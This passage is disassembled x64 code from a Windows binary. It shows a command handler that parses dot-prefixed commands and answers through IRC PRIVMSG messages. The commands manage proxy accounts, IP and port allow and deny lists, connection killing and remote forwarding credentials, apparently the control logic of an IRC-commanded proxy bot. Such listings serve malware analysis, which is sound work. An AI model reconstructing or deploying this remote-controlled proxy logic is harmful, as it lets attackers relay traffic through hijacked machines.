sete bl
mov rdi, qword [rsp + 0x100]
lea rdx, str.AllowedIP
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004f403
lea rdx, str.AllowedDestIP
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004f403
lea rdx, str.AllowedDestPort
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004f403
lea rdx, str.DeniedDestPort
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004f403
lea rdx, str.DeniedDestIP
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004f403
lea rdx, str.DeniedIP
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004f403
lea rdx, str.Speed
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x14004f403
lea rdx, str.IdleTime
mov rcx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
jne 0x14004dda1
mov r9, qword [rsp + 0x108]
mov rcx, qword [0x1400a9640]
mov r8, rdi
mov rdx, rsi
mov dword [rsp + 0x20], ebx
call fcn.140048760
mov ebx, dword [rsp + 0x80]
mov esi, 1
jmp 0x14004ddb7
lea rdx, str..SAI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f4df
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x14004f48b
cmp r15d, 9
je 0x14004f48b
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_IdleTime___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x14004f4b0
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.1400272e0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..TUU
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f55d
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
call fcn.140008e90
mov edi, eax
call fcn.140008d20
lea r8, str.PRIVMSG__s_:UDP_User:__d____d_r_n
lea rcx, [rsp + 0x530]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14005ff3c
jmp 0x1400538c1
lea rdx, str..KPC
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f619
cmp r15d, 7
je 0x14004f58b
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov ebx, r13d
test eax, eax
cmove rsi, rdi
cmp r15d, 7
jne 0x14004f5d7
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x14004f5d7
mov rcx, rdi
call fcn.140061730
mov ebx, eax
xor edx, edx
mov ecx, ebx
call fcn.14002b0e0
mov r9, rsi
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
test eax, eax
je 0x14004f608
mov dword [rsp + 0x28], ebx
lea r8, str.PRIVMSG__s_:_d_Pending_Connections_____d_Seconds__Killed_r_n
mov dword [rsp + 0x20], eax
jmp 0x14004e50a
lea r8, str.PRIVMSG__s_:No_Pending_Connection_r_n
call fcn.14005ff3c
jmp 0x14004e50f
lea rdx, str..TPC
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f6c6
cmp r15d, 7
je 0x14004f647
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov ebx, r13d
test eax, eax
cmove rsi, rdi
cmp r15d, 7
jne 0x14004f693
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x14004f693
mov rcx, rdi
call fcn.140061730
mov ebx, eax
mov ecx, ebx
call fcn.140008d80
mov r9, rsi
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
test eax, eax
je 0x14004f608
mov dword [rsp + 0x28], ebx
lea r8, str.PRIVMSG__s_:_d_Pending_Connections_____d_Seconds__r_n
mov dword [rsp + 0x20], eax
jmp 0x14004e50a
lea rdx, str..SAGB
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f7ba
cmp r15d, 6
je 0x14004f6f4
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
mov edi, r13d
cmp r15d, 7
jne 0x14004f73b
mov rcx, qword [rsp + 0x100]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
cmove edi, esi
lea rcx, [rsp + 0x34e0]
xor edx, edx
mov r8d, 0x800
call fcn.14005fe50
lea rcx, [rsp + 0x34e0]
mov edx, 0x800
call fcn.140008700
test eax, eax
je 0x14004f78c
mov rcx, qword [0x1400a9640]
lea r8, [rsp + 0x34e0]
mov r9d, edi
mov rdx, rbx
call fcn.140024a60
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:_s_Fail_To_Get_All_IP_r_n
lea rcx, [rsp + 0x34e0]
mov r9, rbx
mov edx, 0x7ff
mov qword [rsp + 0x20], rbx
call fcn.14005ff3c
lea rdx, [rsp + 0x34e0]
jmp 0x1400538c9
lea rdx, str..SGC
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f855
cmp r15d, 7
je 0x14004f7e8
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
mov edi, r13d
cmp r15d, 8
jne 0x14004f82f
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
cmove edi, esi
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov r9d, edi
mov rdx, rbx
call fcn.140031430
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SGB
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f8f0
cmp r15d, 7
je 0x14004f883
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
mov edi, r13d
cmp r15d, 8
jne 0x14004f8ca
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
cmove edi, esi
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov r9d, edi
mov rdx, rbx
call fcn.140024a60
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SGP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004f98b
cmp r15d, 7
je 0x14004f91e
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
mov edi, r13d
cmp r15d, 8
jne 0x14004f965
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
cmove edi, esi
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov r9d, edi
mov rdx, rbx
call fcn.140048400
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..LAS
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004fa05
cmp r15d, 6
je 0x14004f9b5
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
mov r8, r13
test eax, eax
cmove rbx, rdi
cmp r15d, 7
cmove r8, qword [rsp + 0x100]
mov rdx, rbx
call fcn.140028c60
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..KillLR
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004faae
cmp r15d, 6
je 0x14004fa33
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rcx, [0x1400acf90]
test eax, eax
cmove rbx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call fcn.140007ab0
lea rcx, [0x1400acf90]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r9, rbx
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
test edi, edi
jne 0x14004fa99
lea r8, str.PRIVMSG__s_:The_Login_Record_List_Is_Empty_r_n
jmp 0x14004fbcc
lea r8, str.PRIVMSG__s_:_d_Records_Have_Been_Empty_r_n
mov dword [rsp + 0x20], edi
call fcn.14005ff3c
jmp 0x14004fbd1
lea rdx, str..KillAs
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004fb3e
cmp r15d, 6
je 0x14004fad8
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r8d, r13d
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x14004fb23
mov rcx, qword [rsp + 0x100]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r8d, r13d
test eax, eax
sete r8b
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140028b50
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..KillFlow
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004fc0a
cmp r15d, 6
je 0x14004fb6c
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov ecx, r13d
lea r8, str.PRIVMSG__s_:The_Data_Flow_Record_Has_Been_Refreshedr_n
test eax, eax
mov eax, r13d
mov edx, 0x3ff
xchg dword [0x1400ad5cc], eax
xchg dword [0x1400ad634], ecx
mov ecx, r13d
mov eax, r13d
cmove rbx, rdi
xchg dword [0x1400ad648], eax
xchg dword [0x1400ad64c], ecx
lea rcx, [rsp + 0x530]
mov r9, rbx
call fcn.14005ff3c
cmp r15d, 7
jne 0x1400538c1
mov rcx, qword [rsp + 0x100]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ebx, dword [rsp + 0x80]
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
jmp 0x1400538c1
lea rdx, str..AGRP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004fc91
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 6
je 0x14004fc59
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
mov r8d, r13d
test eax, eax
mov rdx, rbx
sete r8b
call fcn.1400393f0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..GARP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004fd58
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
lea eax, [r15 - 8]
cmove rbx, rdi
cmp eax, 3
ja 0x14004fd47
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov edx, r13d
mov rcx, r13
test eax, eax
mov rax, r13
sete dl
cmp r15d, 0xa
jb 0x14004fd0e
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x118]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400395a0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__RemoteHost_RemotePort__UserName___Password____s__r_n
jmp 0x1400538ac
lea rdx, str..ARP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004fe2c
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
lea eax, [r15 - 9]
cmove rbx, rdi
cmp eax, 3
ja 0x14004fe1b
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov edx, r13d
mov rcx, r13
test eax, eax
mov rax, r13
sete dl
cmp r15d, 0xb
jb 0x14004fdd5
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x120]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x38], edx
mov qword [rsp + 0x30], rcx
mov rcx, qword [0x1400a9640]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x110]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.140027a80
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_RemoteHost_RemotePort__UserName___Password____s__r_n
jmp 0x1400538ac
lea rdx, str..Timer
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004fe90
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
cmove rbx, rdi
cmp r15d, 6
jne 0x14004dd98
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.14002ae50
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..DORP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004ff1f
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
je 0x14004fedf
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
mov r9d, r13d
mov rdx, rbx
sete r9b
call fcn.140045230
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..DARP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14004ffa6
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 6
je 0x14004ff6e
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
mov r8d, r13d
test eax, eax
mov rdx, rbx
sete r8b
call fcn.14002ab10
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..DARPB
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050035
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
je 0x14004fff5
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
mov r9d, r13d
mov rdx, rbx
sete r9b
call fcn.14002b6d0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..AARP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400500ef
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
lea eax, [r15 - 8]
cmove rbx, rdi
cmp eax, 3
ja 0x14004fd47
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov edx, r13d
mov rcx, r13
test eax, eax
mov rax, r13
sete dl
cmp r15d, 0xa
jb 0x1400500b6
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x118]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002a460
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SAA
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005019c
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140050148
cmp r15d, 9
je 0x140050148
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_AllowedIP___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x14005016d
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.1400438d0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SAD
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050249
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x1400501f5
cmp r15d, 9
je 0x1400501f5
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DeniedIP___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x14005021a
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140043d00
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SADA
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400502f6
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x1400502a2
cmp r15d, 9
je 0x1400502a2
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DestAllowedIP___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x1400502c7
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140044130
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SADD
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400503a3
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x14005034f
cmp r15d, 9
je 0x14005034f
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DeniedDestIP___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x140050374
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140044dc0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SADDD
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050450
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x1400503fc
cmp r15d, 9
je 0x1400503fc
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DeniedDestPort___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x140050421
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140044560
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SADP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400504fd
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x1400504a9
cmp r15d, 9
je 0x1400504a9
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_DestAllowedPort___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x1400504ce
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140044990
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SAddUser
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050731
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 0xb
je 0x140050556
cmp r15d, 0xc
je 0x140050556
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__UserName_Password_MaxConnectionPerIP_TotalConnection_ExpireDate___s__r_n
jmp 0x1400538ac
mov edi, r13d
cmp r15d, 0xc
jne 0x140050579
mov rcx, qword [rsp + 0x128]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
sete dil
lea r12, [0x140000000]
lea rcx, [rsp + 0x518]
mov r15d, 0x30
mov eax, dword [r12 + 0x8493c]
xor edx, edx
mov r8d, 0x104
mov dword [rcx], eax
movzx eax, byte [r12 + 0x84940]
mov dword [rsp + 0x4ec], 0x2a2e2a
mov byte [rcx + 4], al
mov eax, dword [r12 + 0x8493c]
lea rcx, [rsp + 0x510]
mov dword [rcx], eax
movzx eax, byte [r12 + 0x84940]
mov dword [rsp + 0x4d8], 0x2a2e2a
mov byte [rcx + 4], al
movzx eax, word [r12 + 0x88960]
lea rcx, [rsp + 0xc4]
mov word [rcx], ax
movzx eax, byte [r12 + 0x88962]
mov word [rsp + 0xac], r15w
mov byte [rcx + 2], al
lea rcx, [rsp + 0x1ec0]
mov word [rsp + 0x9c], r15w
mov dword [rsp + 0x4e8], 0x303036
call fcn.14005fe50
mov rax, qword [rsp + 0x120]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
lea r11, [rsp + 0x4e8]
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0xc4]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x9c]
lea rcx, [rsp + 0x1ec0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x510]
mov edx, 0x104
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x518]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xac]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4ec]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x20], rax
call fcn.140041320
mov r9, rbx
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
test eax, eax
jne 0x1400506fd
lea r8, str.PRIVMSG__s_:One_Of_The_Item_Is_NULL_r_n
call fcn.14005ff3c
jmp 0x140050716
lea rax, [rsp + 0x1ec0]
lea r8, str.PRIVMSG__s_:_s
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
mov ebx, dword [rsp + 0x80]
lea rbp, [0x1400ad440]
test edi, edi
jne 0x14004ddc0
jmp 0x140055004
lea rdx, str..KSI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054f00
lea rdx, str..KDI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054f00
lea rdx, str..KDP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
je 0x140054f00
lea rdx, str..VLU
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050808
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x14004dd98
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
mov rcx, rdi
call fcn.140061730
mov edi, eax
call fcn.140008e90
lea rbp, [0x1400ad440]
cmp eax, edi
jb 0x14004dd98
lea r8, str.PRIVMSG__s_:Total_Login_Connections:__d_r_n
jmp 0x1400538a8
lea rdx, str..SAT
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400508b5
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140050861
cmp r15d, 9
je 0x140050861
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_Enable_Disable___s__r_n
jmp 0x1400538ac
mov ecx, r13d
cmp r15d, 9
jne 0x140050886
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.1400276b0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..SAE
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140050962
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x14005090e
cmp r15d, 9
je 0x14005090e
mov qword [rsp + 0x20], rbp
lea r8, str.PRIVMSG__s_:__s__Account_ExpireDate___s__r_n
jmp 0x1400538ac
